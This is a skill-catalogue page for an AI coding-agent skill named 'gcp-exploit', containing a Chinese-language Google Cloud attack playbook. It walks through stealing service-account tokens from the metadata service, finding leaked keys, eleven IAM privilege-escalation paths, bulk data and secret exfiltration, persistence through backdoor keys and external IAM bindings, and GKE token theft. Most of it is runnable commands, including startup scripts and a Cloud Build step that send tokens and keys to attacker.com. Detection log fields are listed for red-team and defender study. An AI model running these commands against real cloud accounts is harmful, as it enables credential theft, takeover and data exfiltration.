
Gcp Exploit
- 25 installs
- 1.6k repo stars
- Updated July 19, 2026
- wgpsec/aboutsecurity
Helps with ai & agent building tasks during AI-assisted development.
About
gcp-exploit is a Claude Code skill for ai & agent building. It helps solo builders move faster with AI-assisted coding.
- gcp-exploit
- AI & Agent Building
- AI-coding skill
Gcp Exploit by the numbers
- 25 all-time installs (skills.sh)
- +2 installs in the week ending Jul 27, 2026 (Skillselion tracking)
- Ranked #9,764 of 16,546 AI & Agent Building skills by installs in the Skillselion catalog
- Data as of Aug 5, 2026 (Skillselion catalog sync)
npx skills add https://github.com/wgpsec/aboutsecurity --skill gcp-exploitAdd your badge
Show developers this skill is listed on Skillselion. Paste this into your README.
| Installs | 25 |
|---|---|
| repo stars | ★ 1.6k |
| Last updated | July 19, 2026 |
| Repository | wgpsec/aboutsecurity ↗ |
What it does
Helps with ai & agent building tasks during AI-assisted development.
Files
GCP 云环境攻击方法论
与 AWS 的区别:GCP 的 IAM 继承模型 + Service Account 密钥机制 = 独特的攻击路径
⛔ 深入参考
- GCP IAM 提权路径详解 → references/gcp-iam-privesc.md
- GKE 攻击与逃逸 → references/gke-attack.md
---
Phase 1: 初始访问与信息收集
1.1 Metadata 服务利用(SSRF → GCP 凭据)
# GCP Metadata 端点(需要 Metadata-Flavor header,但不需要 AWS IMDSv2 式 token)
curl -H "Metadata-Flavor: Google" \
http://metadata.google.internal/computeMetadata/v1/
# 获取 Service Account Token
curl -H "Metadata-Flavor: Google" \
"http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token"
# 获取项目信息
curl -H "Metadata-Flavor: Google" \
"http://metadata.google.internal/computeMetadata/v1/project/project-id"
# 获取实例属性(可能含敏感配置)
curl -H "Metadata-Flavor: Google" \
"http://metadata.google.internal/computeMetadata/v1/instance/attributes/?recursive=true"
# SSH 密钥(如果在 metadata 中配置)
curl -H "Metadata-Flavor: Google" \
"http://metadata.google.internal/computeMetadata/v1/project/attributes/ssh-keys"1.2 Service Account 密钥发现
# 搜索泄露的 SA 密钥(JSON 格式)
grep -r "private_key_id" /path/to/code/
find / -name "*.json" -exec grep -l "client_email.*iam.gserviceaccount.com" {} \;
# 常见位置
# ~/.config/gcloud/
# /root/.config/gcloud/application_default_credentials.json
# 环境变量: GOOGLE_APPLICATION_CREDENTIALS
# Kubernetes Secrets: /var/run/secrets/...
# GitHub/GitLab 泄露1.3 Bucket 枚举
# 公开 Bucket 探测
# GCP Bucket URL 格式:
# https://storage.googleapis.com/BUCKET_NAME
# gs://BUCKET_NAME
# 常见命名模式探测
for prefix in target target-prod target-dev target-backup target-assets; do
status=$(curl -s -o /dev/null -w "%{http_code}" "https://storage.googleapis.com/$prefix")
echo "$prefix: $status"
done
# 使用 GCPBucketBrute
python3 gcpbucketbrute.py -k target -o results.txtPhase 2: 认证与权限确认
# 使用窃取的 SA 密钥认证
gcloud auth activate-service-account --key-file=stolen-key.json
# 或使用 access token
gcloud config set auth/access_token_file /tmp/token.txt
# 确认身份
gcloud auth list
gcloud config get-value project
# 枚举权限
# 列出当前 SA 的 IAM 角色
gcloud projects get-iam-policy $(gcloud config get-value project) \
--flatten="bindings[].members" \
--filter="bindings.members:$(gcloud config get-value account)"
# 测试具体权限
gcloud asset search-all-iam-policies --query="policy:roles/owner"Phase 3: IAM 提权
3.1 常见提权路径
GCP IAM 提权路径:
├─ iam.serviceAccountKeys.create → 给高权限 SA 创建新密钥
├─ iam.serviceAccounts.getAccessToken → 直接获取其他 SA 的 token
├─ iam.serviceAccounts.implicitDelegation → 链式委托
├─ iam.serviceAccounts.signBlob → 签署 JWT 冒充其他 SA
├─ iam.serviceAccounts.signJwt → 直接签署 JWT
├─ deploymentmanager.deployments.create → 以 DM SA 身份部署资源
├─ cloudfunctions.functions.create → 创建函数以高权限 SA 执行
├─ compute.instances.create → 创建 VM 挂载高权限 SA
├─ run.services.create → 创建 Cloud Run 挂载 SA
└─ orgpolicy.policy.set → 修改组织策略3.2 利用示例
# 1. 创建新的 SA 密钥(如果有 iam.serviceAccountKeys.create)
gcloud iam service-accounts keys create /tmp/key.json \
--iam-account=high-priv-sa@project.iam.gserviceaccount.com
# 2. 获取其他 SA 的 Token(如果有 getAccessToken)
gcloud auth print-access-token --impersonate-service-account=target-sa@project.iam.gserviceaccount.com
# 3. 通过 Cloud Function 提权
gcloud functions deploy privesc \
--runtime python39 \
--trigger-http \
--service-account=high-priv-sa@project.iam.gserviceaccount.com \
--source=./malicious-function/
# 函数代码中以 high-priv SA 身份执行操作
# 4. 通过 Compute Instance 提权
gcloud compute instances create privesc-vm \
--service-account=high-priv-sa@project.iam.gserviceaccount.com \
--scopes=cloud-platform \
--metadata=startup-script='curl -H "Metadata-Flavor: Google" http://metadata/computeMetadata/v1/instance/service-accounts/default/token > /tmp/token; curl https://attacker.com/exfil -d @/tmp/token'Phase 4: 数据访问
# Storage Bucket 操作
gsutil ls gs:// # 列出所有 bucket
gsutil ls -r gs://target-bucket/ # 递归列出文件
gsutil cp gs://bucket/secret.txt ./ # 下载文件
gsutil cp -r gs://bucket/ ./local-dump/ # 下载全部
# BigQuery 数据导出
bq ls # 列出 datasets
bq ls project:dataset # 列出 tables
bq query "SELECT * FROM \`project.dataset.table\` LIMIT 100"
bq extract project:dataset.table gs://bucket/export.csv
# Secret Manager
gcloud secrets list
gcloud secrets versions access latest --secret=db-password
# Firestore/Datastore
gcloud firestore export gs://bucket/firestore-dumpPhase 5: 持久化
# 1. 创建新 SA 密钥(最常见)
gcloud iam service-accounts keys create backdoor.json \
--iam-account=existing-sa@project.iam.gserviceaccount.com
# 2. 授予外部账户权限
gcloud projects add-iam-policy-binding PROJECT \
--member='user:attacker@gmail.com' --role='roles/editor'
# 3. 创建 Cloud Function 定时回连
# 通过 Cloud Scheduler 触发 → 定时 beacon
# 4. Compute Engine startup-script 持久化
gcloud compute instances add-metadata INSTANCE \
--metadata=startup-script='curl https://attacker.com/beacon'工具速查
| 工具 | 用途 |
|---|---|
| gcloud CLI | GCP 官方工具 |
| GCPBucketBrute | Bucket 枚举 |
| ScoutSuite | 多云安全审计 |
| Prowler | GCP 安全检查 |
| GCP IAM Privilege Escalation | 提权检查工具 |
| Hayat | GCP 攻击框架 |
GCP IAM 提权路径详解
IAM Binding 继承模型
GCP 资源层级与 IAM 继承:
├─ Organization (组织)
│ ├─ IAM Policy → 继承到下面所有层级
│ │
│ ├─ Folder (文件夹)
│ │ ├─ IAM Policy → 继承到 Folder 内的 Project
│ │ │
│ │ └─ Project (项目)
│ │ ├─ IAM Policy → 继承到 Project 内的 Resource
│ │ │
│ │ └─ Resource (资源: VM, Bucket, Function...)
│ │ └─ IAM Policy (部分资源支持资源级 IAM)
│ │
│ └─ Folder → Folder → Project → Resource(可多层嵌套)
│
├─ ⛔ 关键特性:
│ ├─ 权限向下继承,不向上继承
│ ├─ 子级不能移除从父级继承的权限
│ ├─ 只能在当前级别 DENY(需要 Organization Policy)
│ └─ Project-level Editor → 对项目内所有资源有 Editor 权限
│
└─ Service Account 特殊性:
├─ SA 是资源也是身份(既可被管理,也可代表身份操作)
├─ SA 属于 Project,但可被授予跨 Project 的权限
├─ Default Service Accounts:
│ ├─ {project-number}-compute@developer.gserviceaccount.com (Compute)
│ ├─ {project-id}@appspot.gserviceaccount.com (App Engine)
│ └─ ⛔ 默认 Compute SA 通常有 Editor 角色!
└─ SA Key 泄露 = 长期凭据,无过期(直到手动删除)完整提权路径
路径 1: iam.serviceAccountKeys.create
# 前提: 有 iam.serviceAccountKeys.create 权限
# 影响: 给任何可访问的 SA 创建新密钥 → 以该 SA 身份操作
# 发现高权限 SA
gcloud projects get-iam-policy $PROJECT_ID --format=json | \
python3 -c "
import json,sys
data = json.load(sys.stdin)
for binding in data.get('bindings',[]):
role = binding['role']
if any(r in role for r in ['owner','admin','editor']):
for member in binding['members']:
if 'serviceAccount' in member:
print(f'{role} → {member}')
"
# 创建新密钥
gcloud iam service-accounts keys create /tmp/privesc-key.json \
--iam-account=high-priv-sa@$PROJECT_ID.iam.gserviceaccount.com
# 使用新密钥认证
gcloud auth activate-service-account --key-file=/tmp/privesc-key.json
# 验证提权成功
gcloud projects get-iam-policy $PROJECT_ID
# 检测: Admin Activity audit log — CreateServiceAccountKey路径 2: iam.serviceAccounts.getAccessToken
# 前提: 有 iam.serviceAccounts.getAccessToken 权限(或 roles/iam.serviceAccountTokenCreator)
# 影响: 直接获取目标 SA 的 Access Token(无需创建持久密钥)
# 通过 impersonation 获取 Token
gcloud auth print-access-token \
--impersonate-service-account=target-sa@$PROJECT_ID.iam.gserviceaccount.com
# 或使用 REST API
curl -X POST \
-H "Authorization: Bearer $(gcloud auth print-access-token)" \
"https://iamcredentials.googleapis.com/v1/projects/-/serviceAccounts/target-sa@$PROJECT_ID.iam.gserviceaccount.com:generateAccessToken" \
-H "Content-Type: application/json" \
-d '{"scope":["https://www.googleapis.com/auth/cloud-platform"]}'
# ⛔ 比创建密钥更隐蔽 — 不会在 SA 上留下持久凭据
# 检测: Data Access audit log — GenerateAccessToken路径 3: iam.serviceAccounts.implicitDelegation
# 前提: SA-A 有对 SA-B 的 implicitDelegation,SA-B 有对 SA-C 的 getAccessToken
# 影响: SA-A → 委托 SA-B → 获取 SA-C 的 Token(链式提权)
# 场景: 你控制 SA-A,SA-A 不能直接访问 SA-C
# 但 SA-A 可以 impersonate SA-B,SA-B 可以 impersonate SA-C
# 链式 impersonation
curl -X POST \
-H "Authorization: Bearer $SA_A_TOKEN" \
"https://iamcredentials.googleapis.com/v1/projects/-/serviceAccounts/sa-c@proj.iam.gserviceaccount.com:generateAccessToken" \
-H "Content-Type: application/json" \
-d '{
"delegates": ["projects/-/serviceAccounts/sa-b@proj.iam.gserviceaccount.com"],
"scope": ["https://www.googleapis.com/auth/cloud-platform"]
}'
# 检测: 审计日志中会记录完整的委托链路径 4: iam.serviceAccounts.signBlob / signJwt
# 前提: 有 signBlob 或 signJwt 权限
# 影响: 可以让目标 SA 签署任意数据 → 伪造 SA 的认证 Token
# signJwt — 直接签署 JWT(获取 Access Token)
NOW=$(date +%s)
EXP=$((NOW + 3600))
JWT_CLAIM="{\"iss\":\"target-sa@$PROJECT_ID.iam.gserviceaccount.com\",\"scope\":\"https://www.googleapis.com/auth/cloud-platform\",\"aud\":\"https://oauth2.googleapis.com/token\",\"iat\":$NOW,\"exp\":$EXP}"
SIGNED_JWT=$(curl -s -X POST \
-H "Authorization: Bearer $(gcloud auth print-access-token)" \
-H "Content-Type: application/json" \
"https://iamcredentials.googleapis.com/v1/projects/-/serviceAccounts/target-sa@$PROJECT_ID.iam.gserviceaccount.com:signJwt" \
-d "{\"payload\":\"$JWT_CLAIM\"}" | python3 -c "import json,sys; print(json.load(sys.stdin)['signedJwt'])")
# 用签署的 JWT 交换 Access Token
curl -X POST "https://oauth2.googleapis.com/token" \
-d "grant_type=urn:ietf:params:oauth:grant-type:jwt-bearer&assertion=$SIGNED_JWT"
# signBlob — 签署任意数据(更灵活)
# 可以签署 GCS signed URL、自定义 JWT 等
curl -X POST \
-H "Authorization: Bearer $(gcloud auth print-access-token)" \
-H "Content-Type: application/json" \
"https://iamcredentials.googleapis.com/v1/projects/-/serviceAccounts/target-sa@$PROJECT_ID.iam.gserviceaccount.com:signBlob" \
-d "{\"payload\":\"$(echo -n 'data-to-sign' | base64)\"}"
# 检测: Data Access audit log — SignJwt / SignBlob路径 5: deploymentmanager.deployments.create
# 前提: 有 deploymentmanager.deployments.create 权限
# 影响: Deployment Manager 的 SA 默认有 Project Editor 权限
# 创建部署时,DM 使用其高权限 SA 执行 → 可创建任意资源
# 创建恶意部署配置 (deployment.yaml)
cat > /tmp/dm-privesc.yaml << 'YAML'
resources:
- name: privesc-sa-key
type: iam.v1.serviceAccounts.key
properties:
parent: projects/PROJECT_ID/serviceAccounts/target-sa@PROJECT_ID.iam.gserviceaccount.com
YAML
# 或: 创建 VM 挂载高权限 SA
cat > /tmp/dm-privesc.yaml << 'YAML'
resources:
- name: privesc-vm
type: compute.v1.instance
properties:
zone: us-central1-a
machineType: zones/us-central1-a/machineTypes/f1-micro
serviceAccounts:
- email: high-priv-sa@PROJECT_ID.iam.gserviceaccount.com
scopes:
- https://www.googleapis.com/auth/cloud-platform
disks:
- boot: true
initializeParams:
sourceImage: projects/debian-cloud/global/images/family/debian-11
networkInterfaces:
- network: global/networks/default
YAML
# 执行部署
gcloud deployment-manager deployments create privesc --config /tmp/dm-privesc.yaml
# 检测: Admin Activity log — deploymentmanager.deployments.create路径 6: cloudfunctions.functions.create + update
# 前提: cloudfunctions.functions.create (+ iam.serviceAccounts.actAs 对目标 SA)
# 影响: 创建 Cloud Function → 以高权限 SA 身份执行代码
# 创建恶意函数代码
mkdir /tmp/privesc-func && cat > /tmp/privesc-func/main.py << 'PYTHON'
import google.auth
import google.auth.transport.requests
import json
def privesc(request):
creds, project = google.auth.default()
creds.refresh(google.auth.transport.requests.Request())
return json.dumps({
"token": creds.token,
"project": project,
"service_account": creds.service_account_email
})
PYTHON
cat > /tmp/privesc-func/requirements.txt << 'REQ'
google-auth
REQ
# 部署函数,指定高权限 SA
gcloud functions deploy privesc-func \
--runtime python39 \
--trigger-http \
--allow-unauthenticated \
--entry-point=privesc \
--service-account=high-priv-sa@$PROJECT_ID.iam.gserviceaccount.com \
--source=/tmp/privesc-func/
# 调用函数获取高权限 Token
curl $(gcloud functions describe privesc-func --format='value(httpsTrigger.url)')
# ⛔ 也可用 update 修改已有函数的 SA
gcloud functions deploy existing-func \
--service-account=high-priv-sa@$PROJECT_ID.iam.gserviceaccount.com
# 检测: Admin Activity log — cloudfunctions.functions.create/update路径 7: compute.instances.create
# 前提: compute.instances.create + iam.serviceAccounts.actAs
# 影响: 创建 VM 挂载高权限 SA → 通过 metadata 获取 Token
gcloud compute instances create privesc-vm \
--zone=us-central1-a \
--machine-type=f1-micro \
--service-account=high-priv-sa@$PROJECT_ID.iam.gserviceaccount.com \
--scopes=cloud-platform \
--metadata=startup-script='#!/bin/bash
TOKEN=$(curl -s -H "Metadata-Flavor: Google" http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token | python3 -c "import json,sys;print(json.load(sys.stdin)[\"access_token\"])")
curl -X POST https://attacker.com/exfil -d "token=$TOKEN"'
# 或: SSH 进入后手动获取 Token
gcloud compute ssh privesc-vm --zone=us-central1-a
curl -H "Metadata-Flavor: Google" \
"http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token"
# 检测: Admin Activity log — compute.instances.insert路径 8: run.services.create
# 前提: run.services.create + iam.serviceAccounts.actAs
# 影响: 创建 Cloud Run 服务挂载高权限 SA
# 创建恶意容器(提前 push 到 GCR/Artifact Registry)
# 容器内通过 metadata 获取 SA Token
gcloud run deploy privesc-svc \
--image=gcr.io/$PROJECT_ID/privesc-image \
--service-account=high-priv-sa@$PROJECT_ID.iam.gserviceaccount.com \
--allow-unauthenticated \
--region=us-central1
# 检测: Admin Activity log — run.services.create路径 9: orgpolicy.policy.set
# 前提: orgpolicy.policy.set(通常在 Organization 级别)
# 影响: 修改组织策略 → 移除安全限制
# 移除域限制策略(允许添加外部用户)
gcloud org-policies reset constraints/iam.allowedPolicyMemberDomains \
--organization=$ORG_ID
# 移除 SA Key 创建限制
gcloud org-policies reset constraints/iam.disableServiceAccountKeyCreation \
--project=$PROJECT_ID
# 移除 VM 外部 IP 限制
gcloud org-policies reset constraints/compute.vmExternalIpAccess \
--project=$PROJECT_ID
# ⛔ 影响范围极大 — 修改组织策略会影响所有下级资源
# 检测: Admin Activity log — SetOrgPolicy路径 10: cloudbuild.builds.create
# 前提: cloudbuild.builds.create
# 影响: Cloud Build 使用默认 SA(通常有 Editor 权限)
# 创建恶意 build 配置
cat > /tmp/cloudbuild.yaml << 'YAML'
steps:
- name: 'gcr.io/cloud-builders/gcloud'
entrypoint: 'bash'
args:
- '-c'
- |
# Cloud Build SA 的 Token
TOKEN=$(gcloud auth print-access-token)
# 利用高权限执行操作
gcloud iam service-accounts keys create /tmp/key.json \
--iam-account=target-sa@PROJECT_ID.iam.gserviceaccount.com
# 外传密钥
curl -X POST https://attacker.com/exfil -d @/tmp/key.json
YAML
# 提交 build
gcloud builds submit --no-source --config=/tmp/cloudbuild.yaml
# 检测: Admin Activity log — cloudbuild.builds.create
# ⛔ Cloud Build 默认 SA: {project-number}@cloudbuild.gserviceaccount.com路径 11: iam.roles.update(自定义角色提权)
# 前提: iam.roles.update 权限
# 影响: 修改已分配给自己的自定义角色,添加更多权限
# 查看当前自定义角色
gcloud iam roles describe CustomRole --project=$PROJECT_ID
# 更新角色 — 添加高危权限
gcloud iam roles update CustomRole --project=$PROJECT_ID \
--add-permissions=iam.serviceAccountKeys.create,iam.serviceAccounts.getAccessToken,resourcemanager.projects.setIamPolicy
# 验证更新
gcloud iam roles describe CustomRole --project=$PROJECT_ID
# 现在可以使用新添加的权限继续提权
# 检测: Admin Activity log — UpdateRole检测方法速查
| 提权路径 | 检测日志 | 关键字段 |
|---|---|---|
| serviceAccountKeys.create | Admin Activity | CreateServiceAccountKey |
| getAccessToken | Data Access | GenerateAccessToken |
| implicitDelegation | Data Access | GenerateAccessToken (with delegates) |
| signBlob / signJwt | Data Access | SignBlob / SignJwt |
| deploymentmanager.create | Admin Activity | deploymentmanager.deployments.create |
| cloudfunctions.create | Admin Activity | cloudfunctions.functions.create |
| compute.instances.create | Admin Activity | compute.instances.insert |
| run.services.create | Admin Activity | run.services.create |
| orgpolicy.policy.set | Admin Activity | SetOrgPolicy |
| cloudbuild.builds.create | Admin Activity | cloudbuild.builds.create |
| iam.roles.update | Admin Activity | UpdateRole |
自动化工具
GCP IAM Privilege Escalation Scripts
# https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation
# 自动检测当前身份可利用的提权路径
# 安装
git clone https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation.git
cd GCP-IAM-Privilege-Escalation
pip3 install -r requirements.txt
# 枚举当前可用的提权路径
python3 PrivEscScanner/enumerate_member_permissions.py
python3 PrivEscScanner/check_for_privesc.py
# 输出: 可利用的提权方法列表 + 具体命令手动权限枚举
# 列出当前身份的所有 IAM 绑定
gcloud projects get-iam-policy $PROJECT_ID \
--flatten="bindings[].members" \
--filter="bindings.members:$(gcloud auth list --filter=status:ACTIVE --format='value(account)')" \
--format="table(bindings.role)"
# 检查特定权限
gcloud iam list-testable-permissions //cloudresourcemanager.googleapis.com/projects/$PROJECT_ID \
--filter="name:iam.serviceAccountKeys"
# 列出所有 Service Account 及其密钥数量
gcloud iam service-accounts list --format="table(email,disabled)" --project=$PROJECT_ID
for sa in $(gcloud iam service-accounts list --format="value(email)" --project=$PROJECT_ID); do
keys=$(gcloud iam service-accounts keys list --iam-account=$sa --format="value(name)" | wc -l)
echo "$sa: $keys keys"
done提权决策树
获得 GCP 凭据后:
├─ 确认身份和项目
│ ├─ gcloud auth list
│ ├─ gcloud config get-value project
│ └─ gcloud projects get-iam-policy $PROJECT
│
├─ 有 iam.serviceAccountKeys.create?
│ ├─ 是 → 找高权限 SA → 创建密钥 → 完成
│ └─ 否 → 继续检查
│
├─ 有 iam.serviceAccounts.getAccessToken / signJwt / signBlob?
│ ├─ 是 → Impersonate 高权限 SA → 完成
│ └─ 否 → 继续检查
│
├─ 有 compute/functions/run 的 create 权限?
│ ├─ 是 → 创建资源挂载高权限 SA → 从 metadata 获取 Token
│ └─ 否 → 继续检查
│
├─ 有 cloudbuild.builds.create?
│ ├─ 是 → 提交恶意 build → 利用 Cloud Build SA
│ └─ 否 → 继续检查
│
├─ 有 iam.roles.update?
│ ├─ 是 → 修改自定义角色添加权限 → 递归提权
│ └─ 否 → 继续检查
│
└─ 有 orgpolicy.policy.set?
├─ 是 → 移除安全限制 → 开放更多攻击面
└─ 否 → 尝试横向移动到其他项目/账户GKE (Google Kubernetes Engine) 攻击与逃逸详解
GKE 特有攻击面 vs 标准 K8s
GKE 特有攻击面:
├─ GCP Metadata 服务
│ ├─ 所有 GKE Node 都可访问 GCP Metadata (169.254.169.254)
│ ├─ 默认 Node SA 通常有 Editor 或宽泛的 scopes
│ ├─ Metadata Concealment 可被绕过
│ └─ Workload Identity 配置不当 → Pod 直接获取 GCP SA Token
│
├─ GKE 认证方式
│ ├─ OAuth2 Token(vs 标准 K8s 的 X509 证书)
│ ├─ gcloud 集成 → kubeconfig 自动配置
│ └─ IAM 与 RBAC 双层权限控制
│
├─ GKE 特有功能
│ ├─ Workload Identity: Pod 绑定 GCP SA
│ ├─ Binary Authorization: 镜像签名验证
│ ├─ Config Connector: K8s 资源管理 GCP 资源
│ ├─ Anthos Service Mesh: Istio 集成
│ └─ GKE Autopilot: 全托管节点(限制更多但也有独特攻击面)
│
└─ 标准 K8s 攻击面(在 GKE 中仍然适用):
├─ RBAC 提权
├─ 容器逃逸(特权容器、Docker socket)
├─ Service Account Token 滥用
├─ etcd 直接访问
└─ kubelet API 未授权访问Workload Identity 滥用
Workload Identity 机制:
├─ KSA (Kubernetes Service Account) ←绑定→ GSA (GCP Service Account)
├─ Pod 使用 KSA → 自动获取 GSA 的 Token(通过 GKE metadata)
├─ 取代了传统的 Node SA 方式(更细粒度)
│
└─ 攻击点:
├─ KSA 绑定了高权限 GSA
├─ 命名空间内的其他 Pod 可能共享 KSA
├─ RBAC 允许创建 Pod 时指定任意 KSA
└─ 横向移动: 从低权限 KSA 的 Pod → 高权限 KSA 的 PodPod → GCP SA Token 窃取
# 在 GKE Pod 内检查 Workload Identity
# 如果启用了 Workload Identity,metadata 返回 GSA Token
curl -s -H "Metadata-Flavor: Google" \
"http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/"
# 如果返回自定义 SA (如 my-app@project.iam.gserviceaccount.com) → Workload Identity 生效
# 获取 GSA 的 Access Token
curl -s -H "Metadata-Flavor: Google" \
"http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token"
# 检查 Token 的权限
TOKEN=$(curl -s -H "Metadata-Flavor: Google" \
"http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token" | \
python3 -c "import json,sys; print(json.load(sys.stdin)['access_token'])")
# 测试 Token 的权限范围
curl -H "Authorization: Bearer $TOKEN" \
"https://www.googleapis.com/oauth2/v3/tokeninfo?access_token=$TOKEN"
# 尝试列出项目资源
curl -s -H "Authorization: Bearer $TOKEN" \
"https://storage.googleapis.com/storage/v1/b?project=$PROJECT_ID"
curl -s -H "Authorization: Bearer $TOKEN" \
"https://secretmanager.googleapis.com/v1/projects/$PROJECT_ID/secrets"RBAC 利用 — 指定高权限 KSA
# 如果 RBAC 允许创建 Pod 并指定 ServiceAccount
# 枚举命名空间中的 KSA
kubectl get serviceaccounts --all-namespaces
# 检查 KSA 的 Workload Identity 绑定(annotation)
kubectl get serviceaccount -n <namespace> <ksa-name> -o yaml
# 查找: iam.gke.io/gcp-service-account: <gsa>@<project>.iam.gserviceaccount.com
# 创建 Pod 使用高权限 KSA
kubectl apply -f - << 'EOF'
apiVersion: v1
kind: Pod
metadata:
name: steal-token
namespace: target-namespace
spec:
serviceAccountName: high-priv-ksa
containers:
- name: steal
image: curlimages/curl
command: ["sleep", "infinity"]
EOF
# 进入 Pod 获取 GSA Token
kubectl exec -it steal-token -- sh
curl -s -H "Metadata-Flavor: Google" \
"http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token"GKE Metadata Concealment 绕过
Metadata Concealment:
├─ GKE 的 Metadata Concealment 隐藏敏感 metadata 端点
├─ 通过 kube-env 属性隐藏 kubelet 证书等
├─ 但不完全阻止 metadata 访问
│
└─ 绕过方法:
├─ 1. Metadata Concealment 只隐藏特定路径(非全部 metadata)
├─ 2. Token 端点仍可访问(/computeMetadata/v1/instance/service-accounts/)
├─ 3. 容器逃逸到 Node → 直接访问 Node 的完整 metadata
└─ 4. Workload Identity 覆盖了 Metadata Concealment# 检查 Metadata Concealment 状态
# 在 Pod 内:
curl -s -H "Metadata-Flavor: Google" \
"http://metadata.google.internal/computeMetadata/v1/instance/attributes/kube-env"
# 如果返回 404 → Metadata Concealment 生效(kube-env 被隐藏)
# 如果返回内容 → 未启用 Concealment → 可提取 kubelet 证书
# 即使 Concealment 生效,以下端点通常仍可访问:
curl -s -H "Metadata-Flavor: Google" \
"http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token"
curl -s -H "Metadata-Flavor: Google" \
"http://metadata.google.internal/computeMetadata/v1/project/project-id"
curl -s -H "Metadata-Flavor: Google" \
"http://metadata.google.internal/computeMetadata/v1/instance/zone"
# 如果未启用 Concealment — 提取 kubelet 证书
KUBE_ENV=$(curl -s -H "Metadata-Flavor: Google" \
"http://metadata.google.internal/computeMetadata/v1/instance/attributes/kube-env")
echo "$KUBE_ENV" | grep -E "^(KUBELET_CERT|KUBELET_KEY|CA_CERT)"
# 用这些证书可以直接与 K8s API Server 通信Node SA 权限利用
GKE Node 默认 Service Account:
├─ 默认: {project-number}-compute@developer.gserviceaccount.com
├─ 默认 scopes(旧版集群):
│ ├─ devstorage.read_only → 读取所有 GCS Bucket
│ ├─ logging.write → 写入 Cloud Logging
│ ├─ monitoring → 访问 Cloud Monitoring
│ ├─ service.management.readonly
│ └─ servicecontrol
│
├─ ⛔ 常见错误配置:
│ ├─ Node SA 被授予 Editor 角色 → 项目级别 Editor
│ ├─ Node SA 的 scope 设为 cloud-platform → 无限制
│ └─ 所有 Node 共享同一 SA → 控制一个 Node = 控制所有 Node 的 SA
│
└─ 利用: 容器逃逸到 Node 后,使用 Node SA 的 Token# 从容器逃逸后(在 Node 上)获取 Node SA Token
curl -s -H "Metadata-Flavor: Google" \
"http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token"
# 获取 Node SA 的 email
curl -s -H "Metadata-Flavor: Google" \
"http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/email"
# 利用 Node SA 读取 GCS
TOKEN=$(curl -s -H "Metadata-Flavor: Google" \
"http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token" | \
python3 -c "import json,sys; print(json.load(sys.stdin)['access_token'])")
# 列出 Bucket
curl -s -H "Authorization: Bearer $TOKEN" \
"https://storage.googleapis.com/storage/v1/b?project=$(curl -s -H 'Metadata-Flavor: Google' http://metadata.google.internal/computeMetadata/v1/project/project-id)"
# 如果 Node SA 有 Editor 权限 → 可以做几乎任何事
# 创建新 SA Key
curl -X POST -H "Authorization: Bearer $TOKEN" \
-H "Content-Type: application/json" \
"https://iam.googleapis.com/v1/projects/$PROJECT_ID/serviceAccounts/$SA_EMAIL/keys" \
-d '{}'容器逃逸后利用 GCP Metadata
# 标准容器逃逸(特权容器 / Docker socket / 内核漏洞)后
# 在 Node 上可获取更多 GCP 信息
# 完整 metadata 收集
for path in \
"project/project-id" \
"project/numeric-project-id" \
"instance/zone" \
"instance/hostname" \
"instance/service-accounts/" \
"instance/service-accounts/default/email" \
"instance/service-accounts/default/scopes" \
"instance/service-accounts/default/token" \
"instance/attributes/" \
"instance/attributes/kube-env" \
"instance/attributes/startup-script" \
"instance/network-interfaces/0/access-configs/0/external-ip"; do
echo "=== $path ==="
curl -s -H "Metadata-Flavor: Google" \
"http://metadata.google.internal/computeMetadata/v1/$path" 2>/dev/null
echo ""
done
# 提取 kube-env(含 kubelet 凭据)
curl -s -H "Metadata-Flavor: Google" \
"http://metadata.google.internal/computeMetadata/v1/instance/attributes/kube-env" | \
grep -E "(KUBELET_CERT|KUBELET_KEY|CA_CERT)" | head -20
# 利用 Node 上的 kubeconfig
cat /var/lib/kubelet/kubeconfig
# 或
cat /etc/kubernetes/kubelet.confGKE Autopilot vs Standard 攻击差异
GKE Standard:
├─ 用户管理 Node → 可自定义 Node 配置
├─ 默认允许特权容器(需 Pod Security 策略限制)
├─ Docker socket 可能被挂载
├─ Node 上可运行任意 DaemonSet
├─ 攻击面: 完整的容器逃逸 + Node 控制
│
GKE Autopilot:
├─ Google 管理 Node → 用户无法 SSH 到 Node
├─ ⛔ 限制:
│ ├─ 禁止特权容器(privileged: true 被拒绝)
│ ├─ 禁止 hostNetwork / hostPID / hostIPC
│ ├─ 禁止挂载 hostPath
│ ├─ 禁止 SYS_ADMIN / SYS_PTRACE 等危险 capabilities
│ ├─ 强制 seccomp 和 AppArmor
│ └─ 限制可使用的 Volume 类型
│
├─ Autopilot 攻击面(更受限但仍有):
│ ├─ Workload Identity 滥用 → GSA Token 窃取
│ ├─ RBAC 提权 → 如果 RBAC 配置不当
│ ├─ 应用层漏洞 → SSRF / RCE → 访问 metadata
│ ├─ 跨 Pod 网络攻击 → NetworkPolicy 缺失时
│ └─ 内核漏洞(较难,Google 管理的 Node 更新较快)
│
└─ Autopilot 已知攻击(历史):
├─ CVE-2021-25741: subPath 路径遍历 → 访问 Node 文件系统
├─ 早期 Autopilot: 部分安全限制可绕过
└─ Mutation webhook 绕过 → 在验证前注入特权配置# 检查当前集群类型
kubectl get nodes -o json | python3 -c "
import json,sys
nodes = json.load(sys.stdin)
for node in nodes['items']:
labels = node['metadata'].get('labels',{})
if 'cloud.google.com/gke-nodepool' in labels:
autopilot = 'autopilot' in labels.get('cloud.google.com/gke-provisioning','')
print(f\"Node: {node['metadata']['name']} | Autopilot: {autopilot}\")
"
# 或检查集群配置
# gcloud container clusters describe CLUSTER_NAME --zone ZONE --format='value(autopilot.enabled)'RBAC 提权 in GKE Context
# GKE 特殊: IAM 与 RBAC 双层权限
# IAM role "roles/container.clusterAdmin" → RBAC cluster-admin
# IAM role "roles/container.admin" → 管理集群配置
# IAM role "roles/container.developer" → 读写大多数 K8s 资源
# 检查当前 RBAC 权限
kubectl auth can-i --list
